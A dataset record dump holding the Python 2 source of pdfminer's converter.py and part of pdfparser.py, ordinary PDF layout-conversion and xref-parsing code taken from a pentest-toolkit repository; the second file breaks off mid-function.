id
int64
0
458k
file_name
stringlengths
4
119
file_path
stringlengths
14
227
content
stringlengths
24
9.96M
size
int64
24
9.96M
language
stringclasses
1 value
extension
stringclasses
14 values
total_lines
int64
1
219k
avg_line_length
float64
2.52
4.63M
max_line_length
int64
5
9.91M
alphanum_fraction
float64
0
1
repo_name
stringlengths
7
101
repo_stars
int64
100
139k
repo_forks
int64
0
26.4k
repo_open_issues
int64
0
2.27k
repo_license
stringclasses
12 values
repo_extraction_date
stringclasses
433 values
19,800
converter.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/converter.py
#!/usr/bin/env python2 import sys, os.path from pdfdevice import PDFDevice, PDFTextDevice from pdffont import PDFUnicodeNotDefined from pdftypes import LITERALS_DCT_DECODE from pdfcolor import LITERAL_DEVICE_GRAY, LITERAL_DEVICE_RGB from layout import LTContainer, LTPage, LTText, LTLine, LTRect, LTCurve from layout import LTFigure, LTImage, LTChar, LTTextLine from layout import LTTextBox, LTTextBoxVertical, LTTextGroup from utils import apply_matrix_pt, mult_matrix from utils import enc, bbox2str, create_bmp ## PDFLayoutAnalyzer ## class PDFLayoutAnalyzer(PDFTextDevice): def __init__(self, rsrcmgr, pageno=1, laparams=None): PDFTextDevice.__init__(self, rsrcmgr) self.pageno = pageno self.laparams = laparams self._stack = [] return def begin_page(self, page, ctm): (x0,y0,x1,y1) = page.mediabox (x0,y0) = apply_matrix_pt(ctm, (x0,y0)) (x1,y1) = apply_matrix_pt(ctm, (x1,y1)) mediabox = (0, 0, abs(x0-x1), abs(y0-y1)) self.cur_item = LTPage(self.pageno, mediabox) return def end_page(self, page): assert not self._stack assert isinstance(self.cur_item, LTPage) if self.laparams is not None: self.cur_item.analyze(self.laparams) self.pageno += 1 self.receive_layout(self.cur_item) return def begin_figure(self, name, bbox, matrix): self._stack.append(self.cur_item) self.cur_item = LTFigure(name, bbox, mult_matrix(matrix, self.ctm)) return def end_figure(self, _): fig = self.cur_item assert isinstance(self.cur_item, LTFigure) if self.laparams is not None: self.cur_item.analyze(self.laparams) self.cur_item = self._stack.pop() self.cur_item.add(fig) return def render_image(self, name, stream): assert isinstance(self.cur_item, LTFigure) item = LTImage(name, stream, (self.cur_item.x0, self.cur_item.y0, self.cur_item.x1, self.cur_item.y1)) self.cur_item.add(item) return def paint_path(self, gstate, stroke, fill, evenodd, path): shape = ''.join(x[0] for x in path) if shape == 'ml': # horizontal/vertical line (_,x0,y0) = path[0] (_,x1,y1) = path[1] (x0,y0) = apply_matrix_pt(self.ctm, (x0,y0)) (x1,y1) = apply_matrix_pt(self.ctm, (x1,y1)) if x0 == x1 or y0 == y1: self.cur_item.add(LTLine(gstate.linewidth, (x0,y0), (x1,y1))) return if shape == 'mlllh': # rectangle (_,x0,y0) = path[0] (_,x1,y1) = path[1] (_,x2,y2) = path[2] (_,x3,y3) = path[3] (x0,y0) = apply_matrix_pt(self.ctm, (x0,y0)) (x1,y1) = apply_matrix_pt(self.ctm, (x1,y1)) (x2,y2) = apply_matrix_pt(self.ctm, (x2,y2)) (x3,y3) = apply_matrix_pt(self.ctm, (x3,y3)) if ((x0 == x1 and y1 == y2 and x2 == x3 and y3 == y0) or (y0 == y1 and x1 == x2 and y2 == y3 and x3 == x0)): self.cur_item.add(LTRect(gstate.linewidth, (x0,y0,x2,y2))) return # other shapes pts = [] for p in path: for i in xrange(1, len(p), 2): pts.append(apply_matrix_pt(self.ctm, (p[i], p[i+1]))) self.cur_item.add(LTCurve(gstate.linewidth, pts)) return def render_char(self, matrix, font, fontsize, scaling, rise, cid): try: text = font.to_unichr(cid) assert isinstance(text, unicode), text except PDFUnicodeNotDefined: text = self.handle_undefined_char(font, cid) textwidth = font.char_width(cid) textdisp = font.char_disp(cid) item = LTChar(matrix, font, fontsize, scaling, rise, text, textwidth, textdisp) self.cur_item.add(item) return item.adv def handle_undefined_char(self, font, cid): if self.debug: print >>sys.stderr, 'undefined: %r, %r' % (font, cid) return '(cid:%d)' % cid def receive_layout(self, ltpage): return ## PDFPageAggregator ## class PDFPageAggregator(PDFLayoutAnalyzer): def __init__(self, rsrcmgr, pageno=1, laparams=None): PDFLayoutAnalyzer.__init__(self, rsrcmgr, pageno=pageno, laparams=laparams) self.result = None return def receive_layout(self, ltpage): self.result = ltpage return def get_result(self): return self.result ## PDFConverter ## class PDFConverter(PDFLayoutAnalyzer): def __init__(self, rsrcmgr, outfp, codec='utf-8', pageno=1, laparams=None): PDFLayoutAnalyzer.__init__(self, rsrcmgr, pageno=pageno, laparams=laparams) self.outfp = outfp self.codec = codec return def write_image(self, image): stream = image.stream filters = stream.get_filters() if len(filters) == 1 and filters[0] in LITERALS_DCT_DECODE: ext = '.jpg' data = stream.get_rawdata() elif stream.colorspace is LITERAL_DEVICE_RGB: ext = '.bmp' data = create_bmp(stream.get_data(), stream.bits*3, image.width, image.height) elif stream.colorspace is LITERAL_DEVICE_GRAY: ext = '.bmp' data = create_bmp(stream.get_data(), stream.bits, image.width, image.height) else: ext = '.img' data = stream.get_data() name = image.name+ext path = os.path.join(self.outdir, name) fp = file(path, 'wb') fp.write(data) fp.close() return name ## TextConverter ## class TextConverter(PDFConverter): def __init__(self, rsrcmgr, outfp, codec='utf-8', pageno=1, laparams=None, showpageno=False): PDFConverter.__init__(self, rsrcmgr, outfp, codec=codec, pageno=pageno, laparams=laparams) self.showpageno = showpageno return def write_text(self, text): self.outfp.write(text.encode(self.codec, 'ignore')) return def receive_layout(self, ltpage): def render(item): if isinstance(item, LTContainer): for child in item: render(child) elif isinstance(item, LTText): self.write_text(item.text) if isinstance(item, LTTextBox): self.write_text('\n') if self.showpageno: self.write_text('Page %s\n' % ltpage.pageid) render(ltpage) self.write_text('\f') return # Some dummy functions to save memory/CPU when all that is wanted is text. # This stops all the image and drawing ouput from being recorded and taking # up RAM. def render_image(self, name, stream): pass def paint_path(self, gstate, stroke, fill, evenodd, path): pass ## HTMLConverter ## class HTMLConverter(PDFConverter): RECT_COLORS = { #'char': 'green', 'figure': 'yellow', 'textline': 'magenta', 'textbox': 'cyan', 'textgroup': 'red', 'curve': 'black', 'page': 'gray', } TEXT_COLORS = { 'textbox': 'blue', 'char': 'black', } def __init__(self, rsrcmgr, outfp, codec='utf-8', pageno=1, laparams=None, scale=1, fontscale=0.7, layoutmode='normal', showpageno=True, pagemargin=50, outdir=None, rect_colors={'curve':'black', 'page':'gray'}, text_colors={'char':'black'}): PDFConverter.__init__(self, rsrcmgr, outfp, codec=codec, pageno=pageno, laparams=laparams) self.scale = scale self.fontscale = fontscale self.layoutmode = layoutmode self.showpageno = showpageno self.pagemargin = pagemargin self.outdir = outdir self.rect_colors = rect_colors self.text_colors = text_colors if self.debug: self.rect_colors.update(self.RECT_COLORS) self.text_colors.update(self.TEXT_COLORS) self._yoffset = self.pagemargin self._font = None self._fontstack = [] self.write_header() return def write(self, text): self.outfp.write(text) return def write_header(self): self.write('<html><head>\n') self.write('<meta http-equiv="Content-Type" content="text/html; charset=%s">\n' % self.codec) self.write('</head><body>\n') return def write_footer(self): self.write('<div style="position:absolute; top:0px;">Page: %s</div>\n' % ', '.join('<a href="#%s">%s</a>' % (i,i) for i in xrange(1,self.pageno))) self.write('</body></html>\n') return def write_text(self, text): self.write(enc(text, self.codec)) return def place_rect(self, color, borderwidth, x, y, w, h): color = self.rect_colors.get(color) if color is not None: self.write('<span style="position:absolute; border: %s %dpx solid; ' 'left:%dpx; top:%dpx; width:%dpx; height:%dpx;"></span>\n' % (color, borderwidth, x*self.scale, (self._yoffset-y)*self.scale, w*self.scale, h*self.scale)) return def place_border(self, color, borderwidth, item): self.place_rect(color, borderwidth, item.x0, item.y1, item.width, item.height) return def place_image(self, item, borderwidth, x, y, w, h): if self.outdir is not None: name = self.write_image(item) self.write('<img src="%s" border="%d" style="position:absolute; left:%dpx; top:%dpx;" ' 'width="%d" height="%d" />\n' % (enc(name), borderwidth, x*self.scale, (self._yoffset-y)*self.scale, w*self.scale, h*self.scale)) return def place_text(self, color, text, x, y, size): color = self.text_colors.get(color) if color is not None: self.write('<span style="position:absolute; color:%s; left:%dpx; top:%dpx; font-size:%dpx;">' % (color, x*self.scale, (self._yoffset-y)*self.scale, size*self.scale*self.fontscale)) self.write_text(text) self.write('</span>\n') return def begin_textbox(self, color, borderwidth, x, y, w, h, writing_mode): self._fontstack.append(self._font) self._font = None self.write('<div style="position:absolute; border: %s %dpx solid; writing-mode:%s; ' 'left:%dpx; top:%dpx; width:%dpx; height:%dpx;">' % (color, borderwidth, writing_mode, x*self.scale, (self._yoffset-y)*self.scale, w*self.scale, h*self.scale)) return def put_text(self, text, fontname, fontsize): font = (fontname, fontsize) if font != self._font: if self._font is not None: self.write('</span>') self.write('<span style="font-family: %s; font-size:%dpx">' % (fontname, fontsize * self.scale * self.fontscale)) self._font = font self.write_text(text) return def put_newline(self): self.write('<br>') return def end_textbox(self, color): if self._font is not None: self.write('</span>') self._font = self._fontstack.pop() self.write('</div>') return def receive_layout(self, ltpage): def show_layout(item): if isinstance(item, LTTextGroup): self.place_border('textgroup', 1, item) for child in item: show_layout(child) return def render(item): if isinstance(item, LTPage): self._yoffset += item.y1 self.place_border('page', 1, item) if self.showpageno: self.write('<div style="position:absolute; top:%dpx;">' % ((self._yoffset-item.y1)*self.scale)) self.write('<a name="%s">Page %s</a></div>\n' % (item.pageid, item.pageid)) for child in item: render(child) if item.layout: show_layout(item.layout) elif isinstance(item, LTCurve): self.place_border('curve', 1, item) elif isinstance(item, LTFigure): self.place_border('figure', 1, item) for child in item: render(child) elif isinstance(item, LTImage): self.place_image(item, 1, item.x0, item.y1, item.width, item.height) else: if self.layoutmode == 'exact': if isinstance(item, LTTextLine): self.place_border('textline', 1, item) for child in item: render(child) elif isinstance(item, LTTextBox): self.place_border('textbox', 1, item) self.place_text('textbox', str(item.index+1), item.x0, item.y1, 20) for child in item: render(child) elif isinstance(item, LTChar): self.place_border('char', 1, item) self.place_text('char', item.text, item.x0, item.y1, item.size) else: if isinstance(item, LTTextLine): for child in item: render(child) if self.layoutmode != 'loose': self.put_newline() elif isinstance(item, LTTextBox): self.begin_textbox('textbox', 1, item.x0, item.y1, item.width, item.height, item.get_writing_mode()) for child in item: render(child) self.end_textbox('textbox') elif isinstance(item, LTChar): self.put_text(item.text, item.fontname, item.size) elif isinstance(item, LTText): self.write_text(item.text) return render(ltpage) self._yoffset += self.pagemargin return def close(self): self.write_footer() return ## XMLConverter ## class XMLConverter(PDFConverter): def __init__(self, rsrcmgr, outfp, codec='utf-8', pageno=1, laparams=None, outdir=None): PDFConverter.__init__(self, rsrcmgr, outfp, codec=codec, pageno=pageno, laparams=laparams) self.outdir = outdir self.write_header() return def write_header(self): self.outfp.write('<?xml version="1.0" encoding="%s" ?>\n' % self.codec) self.outfp.write('<pages>\n') return def write_footer(self): self.outfp.write('</pages>\n') return def write_text(self, text): self.outfp.write(enc(text, self.codec)) return def receive_layout(self, ltpage): def show_layout(item): if isinstance(item, LTTextBox): self.outfp.write('<textbox id="%d" bbox="%s" />\n' % (item.index, bbox2str(item.bbox))) elif isinstance(item, LTTextGroup): self.outfp.write('<textgroup bbox="%s">\n' % bbox2str(item.bbox)) for child in item: show_layout(child) self.outfp.write('</textgroup>\n') return def render(item): if isinstance(item, LTPage): self.outfp.write('<page id="%s" bbox="%s" rotate="%d">\n' % (item.pageid, bbox2str(item.bbox), item.rotate)) for child in item: render(child) if item.layout: self.outfp.write('<layout>\n') show_layout(item.layout) self.outfp.write('</layout>\n') self.outfp.write('</page>\n') elif isinstance(item, LTLine): self.outfp.write('<line linewidth="%d" bbox="%s" />\n' % (item.linewidth, bbox2str(item.bbox))) elif isinstance(item, LTRect): self.outfp.write('<rect linewidth="%d" bbox="%s" />\n' % (item.linewidth, bbox2str(item.bbox))) elif isinstance(item, LTCurve): self.outfp.write('<curve linewidth="%d" bbox="%s" pts="%s"/>\n' % (item.linewidth, bbox2str(item.bbox), item.get_pts())) elif isinstance(item, LTFigure): self.outfp.write('<figure name="%s" bbox="%s">\n' % (item.name, bbox2str(item.bbox))) for child in item: render(child) self.outfp.write('</figure>\n') elif isinstance(item, LTTextLine): self.outfp.write('<textline bbox="%s">\n' % bbox2str(item.bbox)) for child in item: render(child) self.outfp.write('</textline>\n') elif isinstance(item, LTTextBox): wmode = '' if isinstance(item, LTTextBoxVertical): wmode = ' wmode="vertical"' self.outfp.write('<textbox id="%d" bbox="%s"%s>\n' % (item.index, bbox2str(item.bbox), wmode)) for child in item: render(child) self.outfp.write('</textbox>\n') elif isinstance(item, LTChar): self.outfp.write('<text font="%s" bbox="%s" size="%.3f">' % (enc(item.fontname), bbox2str(item.bbox), item.size)) self.write_text(item.text) self.outfp.write('</text>\n') elif isinstance(item, LTText): self.outfp.write('<text>%s</text>\n' % item.text) elif isinstance(item, LTImage): if self.outdir: name = self.write_image(item) self.outfp.write('<image src="%s" width="%d" height="%d" />\n' % (enc(name), item.width, item.height)) else: self.outfp.write('<image width="%d" height="%d" />\n' % (item.width, item.height)) else: assert 0, item return render(ltpage) return def close(self): self.write_footer() return
18,982
Python
.py
443
30.250564
107
0.534579
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,801
pdfparser.py
pwnieexpress_raspberry_pwn/src/pentest/metagoofil/pdfminer/pdfparser.py
#!/usr/bin/env python2 import sys import re import struct try: import hashlib as md5 except ImportError: import md5 try: from cStringIO import StringIO except ImportError: from StringIO import StringIO from psparser import PSStackParser from psparser import PSSyntaxError, PSEOF from psparser import literal_name from psparser import LIT, KWD, STRICT from pdftypes import PDFException, PDFTypeError, PDFNotImplementedError from pdftypes import PDFStream, PDFObjRef from pdftypes import resolve1, decipher_all from pdftypes import int_value, float_value, num_value from pdftypes import str_value, list_value, dict_value, stream_value from arcfour import Arcfour from utils import choplist, nunpack from utils import decode_text, ObjIdRange ## Exceptions ## class PDFSyntaxError(PDFException): pass class PDFNoValidXRef(PDFSyntaxError): pass class PDFNoOutlines(PDFException): pass class PDFDestinationNotFound(PDFException): pass class PDFEncryptionError(PDFException): pass class PDFPasswordIncorrect(PDFEncryptionError): pass # some predefined literals and keywords. LITERAL_OBJSTM = LIT('ObjStm') LITERAL_XREF = LIT('XRef') LITERAL_PAGE = LIT('Page') LITERAL_PAGES = LIT('Pages') LITERAL_CATALOG = LIT('Catalog') ## XRefs ## class PDFBaseXRef(object): def get_trailer(self): raise NotImplementedError def get_objids(self): return [] def get_pos(self, objid): raise KeyError(objid) ## PDFXRef ## class PDFXRef(PDFBaseXRef): def __init__(self): self.offsets = {} self.trailer = {} return def load(self, parser, debug=0): while 1: try: (pos, line) = parser.nextline() if not line.strip(): continue except PSEOF: raise PDFNoValidXRef('Unexpected EOF - file corrupted?') if not line: raise PDFNoValidXRef('Premature eof: %r' % parser) if line.startswith('trailer'): parser.seek(pos) break f = line.strip().split(' ') if len(f) != 2: raise PDFNoValidXRef('Trailer not found: %r: line=%r' % (parser, line)) try: (start, nobjs) = map(long, f) except ValueError: raise PDFNoValidXRef('Invalid line: %r: line=%r' % (parser, line)) for objid in xrange(start, start+nobjs): try: (_, line) = parser.nextline() except PSEOF: raise PDFNoValidXRef('Unexpected EOF - file corrupted?') f = line.strip().split(' ') if len(f) != 3: raise PDFNoValidXRef('Invalid XRef format: %r, line=%r' % (parser, line)) (pos, genno, use) = f if use != 'n': continue self.offsets[objid] = (int(genno), long(pos)) if 1 <= debug: print >>sys.stderr, 'xref objects:', self.offsets self.load_trailer(parser) return KEYWORD_TRAILER = KWD('trailer') def load_trailer(self, parser): try: (_,kwd) = parser.nexttoken() assert kwd is self.KEYWORD_TRAILER (_,dic) = parser.nextobject() except PSEOF: x = parser.pop(1) if not x: raise PDFNoValidXRef('Unexpected EOF - file corrupted') (_,dic) = x[0] self.trailer.update(dict_value(dic)) return PDFOBJ_CUE = re.compile(r'^(\d+)\s+(\d+)\s+obj\b') def load_fallback(self, parser, debug=0): parser.seek(0) while 1: try: (pos, line) = parser.nextline() except PSEOF: break if line.startswith('trailer'): parser.seek(pos) self.load_trailer(parser) if 1 <= debug: print >>sys.stderr, 'trailer: %r' % self.get_trailer() break m = self.PDFOBJ_CUE.match(line) if not m: continue (objid, genno) = m.groups() self.offsets[int(objid)] = (0, pos) return def get_trailer(self): return self.trailer def get_objids(self): return self.offsets.iterkeys() def get_pos(self, objid): try: (genno, pos) = self.offsets[objid] except KeyError: raise return (None, pos) ## PDFXRefStream ## class PDFXRefStream(PDFBaseXRef): def __init__(self): self.data = None self.entlen = None self.fl1 = self.fl2 = self.fl3 = None self.objid_ranges = [] return def __repr__(self): return '<PDFXRefStream: fields=%d,%d,%d>' % (self.fl1, self.fl2, self.fl3) def load(self, parser, debug=0): (_,objid) = parser.nexttoken() # ignored (_,genno) = parser.nexttoken() # ignored (_,kwd) = parser.nexttoken() (_,stream) = parser.nextobject() if not isinstance(stream, PDFStream) or stream['Type'] is not LITERAL_XREF: raise PDFNoValidXRef('Invalid PDF stream spec.') size = stream['Size'] index_array = stream.get('Index', (0,size)) if len(index_array) % 2 != 0: raise PDFSyntaxError('Invalid index number') self.objid_ranges.extend( ObjIdRange(start, nobjs) for (start,nobjs) in choplist(2, index_array) ) (self.fl1, self.fl2, self.fl3) = stream['W'] self.data = stream.get_data() self.entlen = self.fl1+self.fl2+self.fl3 self.trailer = stream.attrs if 1 <= debug: print >>sys.stderr, ('xref stream: objid=%s, fields=%d,%d,%d' % (', '.join(map(repr, self.objid_ranges)), self.fl1, self.fl2, self.fl3)) return def get_trailer(self): return self.trailer def get_objids(self): for objid_range in self.objid_ranges: for x in xrange(objid_range.get_start_id(), objid_range.get_end_id()+1): yield x return def get_pos(self, objid): offset = 0 found = False for objid_range in self.objid_ranges: if objid >= objid_range.get_start_id() and objid <= objid_range.get_end_id(): offset += objid - objid_range.get_start_id() found = True break else: offset += objid_range.get_nobjs() if not found: raise KeyError(objid) i = self.entlen * offset ent = self.data[i:i+self.entlen] f1 = nunpack(ent[:self.fl1], 1) if f1 == 1: pos = nunpack(ent[self.fl1:self.fl1+self.fl2]) genno = nunpack(ent[self.fl1+self.fl2:]) return (None, pos) elif f1 == 2: objid = nunpack(ent[self.fl1:self.fl1+self.fl2]) index = nunpack(ent[self.fl1+self.fl2:]) return (objid, index) # this is a free object raise KeyError(objid) ## PDFPage ## class PDFPage(object): """An object that holds the information about a page. A PDFPage object is merely a convenience class that has a set of keys and values, which describe the properties of a page and point to its contents. Attributes: doc: a PDFDocument object. pageid: any Python object that can uniquely identify the page. attrs: a dictionary of page attributes. contents: a list of PDFStream objects that represents the page content. lastmod: the last modified time of the page. resources: a list of resources used by the page. mediabox: the physical size of the page. cropbox: the crop rectangle of the page. rotate: the page rotation (in degree). annots: the page annotations. beads: a chain that represents natural reading order. """ def __init__(self, doc, pageid, attrs): """Initialize a page object. doc: a PDFDocument object. pageid: any Python object that can uniquely identify the page. attrs: a dictionary of page attributes. """ self.doc = doc self.pageid = pageid self.attrs = dict_value(attrs) self.lastmod = resolve1(self.attrs.get('LastModified')) self.resources = resolve1(self.attrs['Resources']) self.mediabox = resolve1(self.attrs['MediaBox']) if 'CropBox' in self.attrs: self.cropbox = resolve1(self.attrs['CropBox']) else: self.cropbox = self.mediabox self.rotate = (self.attrs.get('Rotate', 0)+360) % 360 self.annots = self.attrs.get('Annots') self.beads = self.attrs.get('B') if 'Contents' in self.attrs: contents = resolve1(self.attrs['Contents']) else: contents = [] if not isinstance(contents, list): contents = [ contents ] self.contents = contents return def __repr__(self): return '<PDFPage: Resources=%r, MediaBox=%r>' % (self.resources, self.mediabox) ## PDFDocument ## class PDFDocument(object): """PDFDocument object represents a PDF document. Since a PDF file can be very big, normally it is not loaded at once. So PDF document has to cooperate with a PDF parser in order to dynamically import the data as processing goes. Typical usage: doc = PDFDocument() doc.set_parser(parser) doc.initialize(password) obj = doc.getobj(objid) """ debug = 0 def __init__(self, caching=True): self.caching = caching self.xrefs = [] self.info = [] self.catalog = None self.encryption = None self.decipher = None self._parser = None self._cached_objs = {} self._parsed_objs = {} return def set_parser(self, parser): "Set the document to use a given PDFParser object." if self._parser: return self._parser = parser # Retrieve the information of each header that was appended # (maybe multiple times) at the end of the document. self.xrefs = parser.read_xref() for xref in self.xrefs: trailer = xref.get_trailer() if not trailer: continue # If there's an encryption info, remember it. if 'Encrypt' in trailer: #assert not self.encryption self.encryption = (list_value(trailer['ID']), dict_value(trailer['Encrypt'])) if 'Info' in trailer: self.info.append(dict_value(trailer['Info'])) if 'Root' in trailer: # Every PDF file must have exactly one /Root dictionary. self.catalog = dict_value(trailer['Root']) break else: raise PDFSyntaxError('No /Root object! - Is this really a PDF?') if self.catalog.get('Type') is not LITERAL_CATALOG: if STRICT: raise PDFSyntaxError('Catalog not found!') return # initialize(password='') # Perform the initialization with a given password. # This step is mandatory even if there's no password associated # with the document. PASSWORD_PADDING = '(\xbfN^Nu\x8aAd\x00NV\xff\xfa\x01\x08..\x00\xb6\xd0h>\x80/\x0c\xa9\xfedSiz' def initialize(self, password=''): if not self.encryption: self.is_printable = self.is_modifiable = self.is_extractable = True return (docid, param) = self.encryption if literal_name(param.get('Filter')) != 'Standard': raise PDFEncryptionError('Unknown filter: param=%r' % param) V = int_value(param.get('V', 0)) if not (V == 1 or V == 2): raise PDFEncryptionError('Unknown algorithm: param=%r' % param) length = int_value(param.get('Length', 40)) # Key length (bits) O = str_value(param['O']) R = int_value(param['R']) # Revision if 5 <= R: raise PDFEncryptionError('Unknown revision: %r' % R) U = str_value(param['U']) P = int_value(param['P']) self.is_printable = bool(P & 4) self.is_modifiable = bool(P & 8) self.is_extractable = bool(P & 16) # Algorithm 3.2 password = (password+self.PASSWORD_PADDING)[:32] # 1 hash = md5.md5(password) # 2 hash.update(O) # 3 hash.update(struct.pack('<l', P)) # 4 hash.update(docid[0]) # 5 if 4 <= R: # 6 raise PDFNotImplementedError('Revision 4 encryption is currently unsupported') if 3 <= R: # 8 for _ in xrange(50): hash = md5.md5(hash.digest()[:length/8]) key = hash.digest()[:length/8] if R == 2: # Algorithm 3.4 u1 = Arcfour(key).process(self.PASSWORD_PADDING) elif R == 3: # Algorithm 3.5 hash = md5.md5(self.PASSWORD_PADDING) # 2 hash.update(docid[0]) # 3 x = Arcfour(key).process(hash.digest()[:16]) # 4 for i in xrange(1,19+1): k = ''.join( chr(ord(c) ^ i) for c in key ) x = Arcfour(k).process(x) u1 = x+x # 32bytes total if R == 2: is_authenticated = (u1 == U) else: is_authenticated = (u1[:16] == U[:16]) if not is_authenticated: raise PDFPasswordIncorrect self.decrypt_key = key self.decipher = self.decrypt_rc4 # XXX may be AES return def decrypt_rc4(self, objid, genno, data): key = self.decrypt_key + struct.pack('<L',objid)[:3]+struct.pack('<L',genno)[:2] hash = md5.md5(key) key = hash.digest()[:min(len(key),16)] return Arcfour(key).process(data) KEYWORD_OBJ = KWD('obj') def getobj(self, objid): if not self.xrefs: raise PDFException('PDFDocument is not initialized') if 2 <= self.debug: print >>sys.stderr, 'getobj: objid=%r' % (objid) if objid in self._cached_objs: genno = 0 obj = self._cached_objs[objid] else: for xref in self.xrefs: try: (strmid, index) = xref.get_pos(objid) break except KeyError: pass else: if STRICT: raise PDFSyntaxError('Cannot locate objid=%r' % objid) # return null for a nonexistent reference. return None if strmid: stream = stream_value(self.getobj(strmid)) if stream.get('Type') is not LITERAL_OBJSTM: if STRICT: raise PDFSyntaxError('Not a stream object: %r' % stream) try: n = stream['N'] except KeyError: if STRICT: raise PDFSyntaxError('N is not defined: %r' % stream) n = 0 if strmid in self._parsed_objs: objs = self._parsed_objs[strmid] else: parser = PDFStreamParser(stream.get_data()) parser.set_document(self) objs = [] try: while 1: (_,obj) = parser.nextobject() objs.append(obj) except PSEOF: pass if self.caching: self._parsed_objs[strmid] = objs genno = 0 i = n*2+index try: obj = objs[i] except IndexError: raise PDFSyntaxError('Invalid object number: objid=%r' % (objid)) if isinstance(obj, PDFStream): obj.set_objid(objid, 0) else: self._parser.seek(index) (_,objid1) = self._parser.nexttoken() # objid (_,genno) = self._parser.nexttoken() # genno (_,kwd) = self._parser.nexttoken() # #### hack around malformed pdf files #assert objid1 == objid, (objid, objid1) if objid1 != objid: x = [] while kwd is not self.KEYWORD_OBJ: (_,kwd) = self._parser.nexttoken() x.append(kwd) if x: objid1 = x[-2] genno = x[-1] # #### end hack around malformed pdf files if kwd is not self.KEYWORD_OBJ: raise PDFSyntaxError('Invalid object spec: offset=%r' % index) try: (_,obj) = self._parser.nextobject() if isinstance(obj, PDFStream): obj.set_objid(objid, genno) except PSEOF: return None if 2 <= self.debug: print >>sys.stderr, 'register: objid=%r: %r' % (objid, obj) if self.caching: self._cached_objs[objid] = obj if self.decipher: obj = decipher_all(self.decipher, objid, genno, obj) return obj INHERITABLE_ATTRS = set(['Resources', 'MediaBox', 'CropBox', 'Rotate']) def get_pages(self): if not self.xrefs: raise PDFException('PDFDocument is not initialized') def search(obj, parent): if isinstance(obj, int): objid = obj tree = dict_value(self.getobj(objid)).copy() else: objid = obj.objid tree = dict_value(obj).copy() for (k,v) in parent.iteritems(): if k in self.INHERITABLE_ATTRS and k not in tree: tree[k] = v if tree.get('Type') is LITERAL_PAGES and 'Kids' in tree: if 1 <= self.debug: print >>sys.stderr, 'Pages: Kids=%r' % tree['Kids'] for c in list_value(tree['Kids']): for x in search(c, tree): yield x elif tree.get('Type') is LITERAL_PAGE: if 1 <= self.debug: print >>sys.stderr, 'Page: %r' % tree yield (objid, tree) if 'Pages' not in self.catalog: return for (pageid,tree) in search(self.catalog['Pages'], self.catalog): yield PDFPage(self, pageid, tree) return def get_outlines(self): if 'Outlines' not in self.catalog: raise PDFNoOutlines def search(entry, level): entry = dict_value(entry) if 'Title' in entry: if 'A' in entry or 'Dest' in entry: title = decode_text(str_value(entry['Title'])) dest = entry.get('Dest') action = entry.get('A') se = entry.get('SE') yield (level, title, dest, action, se) if 'First' in entry and 'Last' in entry: for x in search(entry['First'], level+1): yield x if 'Next' in entry: for x in search(entry['Next'], level): yield x return return search(self.catalog['Outlines'], 0) def lookup_name(self, cat, key): try: names = dict_value(self.catalog['Names']) except (PDFTypeError, KeyError): raise KeyError((cat,key)) # may raise KeyError d0 = dict_value(names[cat]) def lookup(d): if 'Limits' in d: (k1,k2) = list_value(d['Limits']) if key < k1 or k2 < key: return None if 'Names' in d: objs = list_value(d['Names']) names = dict(choplist(2, objs)) return names[key] if 'Kids' in d: for c in list_value(d['Kids']): v = lookup(dict_value(c)) if v: return v raise KeyError((cat,key)) return lookup(d0) def get_dest(self, name): try: # PDF-1.2 or later obj = self.lookup_name('Dests', name) except KeyError: # PDF-1.1 or prior if 'Dests' not in self.catalog: raise PDFDestinationNotFound(name) d0 = dict_value(self.catalog['Dests']) if name not in d0: raise PDFDestinationNotFound(name) obj = d0[name] return obj ## PDFParser ## class PDFParser(PSStackParser): """ PDFParser fetch PDF objects from a file stream. It can handle indirect references by referring to a PDF document set by set_document method. It also reads XRefs at the end of every PDF file. Typical usage: parser = PDFParser(fp) parser.read_xref() parser.set_document(doc) parser.seek(offset) parser.nextobject() """ def __init__(self, fp): PSStackParser.__init__(self, fp) self.doc = None self.fallback = False return def set_document(self, doc): """Associates the parser with a PDFDocument object.""" self.doc = doc return KEYWORD_R = KWD('R') KEYWORD_NULL = KWD('null') KEYWORD_ENDOBJ = KWD('endobj') KEYWORD_STREAM = KWD('stream') KEYWORD_XREF = KWD('xref') KEYWORD_STARTXREF = KWD('startxref') def do_keyword(self, pos, token): """Handles PDF-related keywords.""" if token in (self.KEYWORD_XREF, self.KEYWORD_STARTXREF): self.add_results(*self.pop(1)) elif token is self.KEYWORD_ENDOBJ: self.add_results(*self.pop(4)) elif token is self.KEYWORD_NULL: # null object self.push((pos, None)) elif token is self.KEYWORD_R: # reference to indirect object try: ((_,objid), (_,genno)) = self.pop(2) (objid, genno) = (int(objid), int(genno)) obj = PDFObjRef(self.doc, objid, genno) self.push((pos, obj)) except PSSyntaxError: pass elif token is self.KEYWORD_STREAM: # stream object ((_,dic),) = self.pop(1) dic = dict_value(dic) objlen = 0 if not self.fallback: try: objlen = int_value(dic['Length']) except KeyError: if STRICT: raise PDFSyntaxError('/Length is undefined: %r' % dic) self.seek(pos) try: (_, line) = self.nextline() # 'stream' except PSEOF: if STRICT: raise PDFSyntaxError('Unexpected EOF') return pos += len(line) self.fp.seek(pos) data = self.fp.read(objlen) self.seek(pos+objlen) while 1: try: (linepos, line) = self.nextline() except PSEOF: if STRICT: raise PDFSyntaxError('Unexpected EOF') break if 'endstream' in line: i = line.index('endstream') objlen += i data += line[:i] break objlen += len(line) data += line self.seek(pos+objlen) # XXX limit objlen not to exceed object boundary if 2 <= self.debug: print >>sys.stderr, 'Stream: pos=%d, objlen=%d, dic=%r, data=%r...' % \ (pos, objlen, dic, data[:10]) obj = PDFStream(dic, data, self.doc.decipher) self.push((pos, obj)) else: # others self.push((pos, token)) return def find_xref(self): """Internal function used to locate the first XRef.""" # search the last xref table by scanning the file backwards. prev = None for line in self.revreadlines(): line = line.strip() if 2 <= self.debug: print >>sys.stderr, 'find_xref: %r' % line if line == 'startxref': break if line: prev = line else: raise PDFNoValidXRef('Unexpected EOF') if 1 <= self.debug: print >>sys.stderr, 'xref found: pos=%r' % prev return long(prev) # read xref table def read_xref_from(self, start, xrefs): """Reads XRefs from the given location.""" self.seek(start) self.reset() try: (pos, token) = self.nexttoken() except PSEOF: raise PDFNoValidXRef('Unexpected EOF') if 2 <= self.debug: print >>sys.stderr, 'read_xref_from: start=%d, token=%r' % (start, token) if isinstance(token, int): # XRefStream: PDF-1.5 self.seek(pos) self.reset() xref 